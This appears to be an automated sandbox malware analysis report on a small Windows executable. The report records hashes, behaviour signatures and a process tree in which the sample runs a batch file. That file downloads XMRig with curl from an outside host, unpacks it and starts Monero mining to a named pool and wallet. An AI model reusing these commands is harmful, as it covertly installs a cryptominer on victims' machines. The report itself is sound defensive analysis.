4c911d7d2e043676fb0b4ff128bebd9206dae91049cbd1827c6edabded461baa

max time kernel
1381s
max time network
1174s
platform
windows11-21h2_x64
resource
win11-20240221-en
resource tags

arch:x64arch:x86image:win11-20240221-enlocale:en-usos:windows11-21h2-x64system
submitted
11/03/2024, 21:08

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General

Target

test.exe
Size

6KB
MD5

4634098fe194204dc03f967cc0b19cd6
SHA1

eaa58619c6cea9f148cec61ee504cd727b3e80d8
SHA256

a1070b8803e4243699a44a77e60a199282814495bc3bd94759c07021c0a6c70c
SHA512

64e97fac56a25daf99f8ee1a9f480acc8020d5da4eb96ea77022c9170f6300b7b5479fce86e3e7e088cdaabdf123b65872e09b0ae17f8f97ea2fe58b6ecf7a9d
SSDEEP

96:2Fb158Vgo4CVvAXklfZT8kYl9RxxgAVNb8ICcGKzNt:oMV1vAX+8kYDRxbLh4s

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
576	xmrig.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4108 wrote to memory of 1836	4108	test.exe	82
PID 4108 wrote to memory of 1836	4108	test.exe	82
PID 1836 wrote to memory of 3624	1836	cmd.exe	84
PID 1836 wrote to memory of 3624	1836	cmd.exe	84
PID 1836 wrote to memory of 1656	1836	cmd.exe	89
PID 1836 wrote to memory of 1656	1836	cmd.exe	89
PID 1836 wrote to memory of 576	1836	cmd.exe	90
PID 1836 wrote to memory of 576	1836	cmd.exe	90

C:\Users\Admin\AppData\Local\Temp\test.exe
"C:\Users\Admin\AppData\Local\Temp\test.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4108
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\jv4QWT7q.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1836
- - C:\Windows\system32\curl.exe
    curl -o "C:\xmrig\xmrig-6.21.1-gcc-win64.zip" https://1488.netlify.app/xmrig-6.21.1-gcc-win64.zip
    3⤵
    PID:3624
- - C:\Windows\system32\tar.exe
    tar -xf "C:\xmrig\xmrig-6.21.1-gcc-win64.zip"
    3⤵
    PID:1656
- - C:\xmrig\xmrig-6.21.1\xmrig.exe
    C:\xmrig\xmrig-6.21.1\xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 49QgS4Cu9uqVeqgDpwtdZWYZrDNrUJXfzDiGmwsZFLdEgQPAQV7SbswUHqZG3B45HAiSR1cYZoSvgC56kctnqsSjMNFnJmU.RIG -p x --cpu-affinity=5 --cpu-no-yield
    3⤵
    - Executes dropped EXE
    PID:576

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\jv4QWT7q.bat

Filesize
421B

MD5
67d11b392feb0ad59fc11ff3e79dfeee

SHA1
7df5785988cb76c4893773614572c93baaa18717

SHA256
69bcf6c4c959410d5857ac219600cec68035bd92e708c0bf7318eece8d5acb9d

SHA512
50835d7dccb22cbf052a64ce2dd50df97f726b1d2044ab0e55ba42a2874601b6fe064f84659f89ce079627d147cf49d9548b24b2160a17783b934c6793507f11

Download Submit
C:\xmrig\xmrig-6.21.1-gcc-win64.zip

Filesize
1.7MB

MD5
7b5527ee1750930b6908ebccee9e3eb8

SHA1
aa084aed173005b3124e0b98c40161a79f192fd5

SHA256
1a50990b69715b8c00655a7b64f3e725b4e934f0b4d3efbe115493d67131b572

SHA512
8cb619ed5ca24ec32cc8ab05c4ccff081fc3becc810b94ee5828b6feb5d4d3bbb42e7a8c27752f10b9d4e2b34044cef8d370c5da8dbb3a57de2b27e566031117

Download Submit
C:\xmrig\xmrig-6.21.1\xmrig.exe

Filesize
7.9MB

MD5
38084cd2ec602df4f991421593810644

SHA1
080f32c356016136889231d4df5f063bc0c5762d

SHA256
f1d7e1cfe84376a745fa9b584bba22957de51b92a62c0e702a2f65d8a3483c31

SHA512
f0aabbba6b3025593d5b40124f90a14ab9a433a2a45e862e6aceafbcd2ced59dab439a350cbe523c2950c8256b82c13aefc4daf521980617886f507340321547

Download Submit
memory/4108-0-0x0000000000130000-0x0000000000138000-memory.dmp

Filesize
32KB

Download
memory/4108-5-0x00007FF9D0860000-0x00007FF9D1322000-memory.dmp

Filesize
10.8MB

Download
memory/4108-7-0x00007FF9D0860000-0x00007FF9D1322000-memory.dmp

Filesize
10.8MB

Download
memory/4108-23-0x00007FF9D0860000-0x00007FF9D1322000-memory.dmp

Filesize
10.8MB

Download

Resubmissions

Analysis